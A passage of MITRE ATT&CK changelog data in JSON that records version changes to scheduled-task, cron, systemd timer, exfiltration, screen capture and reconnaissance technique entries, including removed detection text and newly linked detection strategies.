[PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n-\\n-In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\"}}}",
"previous_version": "2.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0333: Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-29 17:06:22.247000+00:00",
"modified": "2025-10-24 17:48:25.363000+00:00",
"name": "Container Orchestration Job",
"description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/007",
"external_id": "T1053.007"
},
{
"source_name": "Kubernetes CronJob",
"description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
},
{
"source_name": "Kubernetes Jobs",
"description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
},
{
"source_name": "Threat Matrix for Kubernetes",
"description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
"url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Center for Threat-Informed Defense (CTID)",
"Vishwas Manral, McAfee",
"Yossi Weizman, Azure Defender Research Team"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Container: Container Creation\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.363000+00:00\", \"old_value\": \"2025-04-15 19:58:07.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. \"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0022: File (File Creation)",
"DS0032: Container (Container Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0206: Detection of Malicious Kubernetes CronJob Scheduling"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-03 14:25:00.538000+00:00",
"modified": "2025-10-24 17:48:33.856000+00:00",
"name": "Cron",
"description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/003",
"external_id": "T1053.003"
},
{
"source_name": "CloudSEK ESXiArgs 2023",
"description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.",
"url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers"
},
{
"source_name": "20 macOS Common Tools and Techniques",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"ESXi"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Scheduled Job: Scheduled Job Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.856000+00:00\", \"old_value\": \"2025-04-15 19:58:16.429000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0290: Cross-Platform Detection of Cron Job Abuse for Persistence and Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-12 17:50:31.584000+00:00",
"modified": "2025-10-24 17:49:11.261000+00:00",
"name": "Systemd Timers",
"description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/006",
"external_id": "T1053.006"
},
{
"source_name": "Systemd Remote Control",
"description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.",
"url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"
},
{
"source_name": "archlinux Systemd Timers Aug 2020",
"description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.",
"url": "https://wiki.archlinux.org/index.php/Systemd/Timers"
},
{
"source_name": "gist Arch package compromise 10JUL2018",
"description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
"url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
},
{
"source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
"description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
"url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
},
{
"source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
"description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
"url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
},
{
"source_name": "Falcon Sandbox smp: 28553b3a9d",
"description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.",
"url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300"
},
{
"source_name": "Linux man-pages: systemd January 2014",
"description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
"url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"SarathKumar Rajendran, Trimble Inc"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Command: Command Execution\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.261000+00:00\", \"old_value\": \"2025-04-15 19:58:55.648000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the \\u2018root\\u2019 user.\\n\\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \\u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\\n\\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the \\u2018root\\u2019 user.\\n-\\n-Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \\u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\\n-\\n-Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0231: Behavioral Detection of Systemd Timer Abuse for Scheduled Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:34.139000+00:00",
"modified": "2025-10-24 17:48:45.522000+00:00",
"name": "Scheduled Transfer",
"description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1029",
"external_id": "T1029"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.522000+00:00\", \"old_value\": \"2025-04-15 23:03:03.336000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0399: Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:25.060000+00:00",
"modified": "2025-10-24 17:48:19.886000+00:00",
"name": "Screen Capture",
"description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1113",
"external_id": "T1113"
},
{
"source_name": "CopyFromScreen .NET",
"description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
"url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.886000+00:00\", \"old_value\": \"2025-04-15 23:03:14.254000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0346: Detect Screen Capture via Commands and API Calls"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 17:01:42.558000+00:00",
"modified": "2025-10-24 17:49:11.164000+00:00",
"name": "Search Closed Sources",
"description": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1597",
"external_id": "T1597"
},
{
"source_name": "ZDNET Selling Data",
"description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
"url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Barbara Louis-Sidney (OWN-CERT)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.164000+00:00\", \"old_value\": \"2025-04-15 23:03:31.068000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0822: Detection of Search Closed Sources"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 17:05:43.562000+00:00",
"modified": "2025-10-24 17:48:22.109000+00:00",
"name": "Purchase Technical Data",
"description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1597/002",
"external_id": "T1597.002"
},
{
"source_name": "ZDNET Selling Data",
"description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
"url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.109000+00:00\", \"old_value\": \"2025-04-15 22:58:36.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0880: Detection of Purchase Technical Data"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:56:05.810000+00:00",
"modified": "2025-10-24 17:48:48.734000+00:00",
"name": "Search Open Technical Databases",
"description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596",
"external_id": "T1596"
},
{
"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
},
{
"source_name": "Medium SSL Cert",
"description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
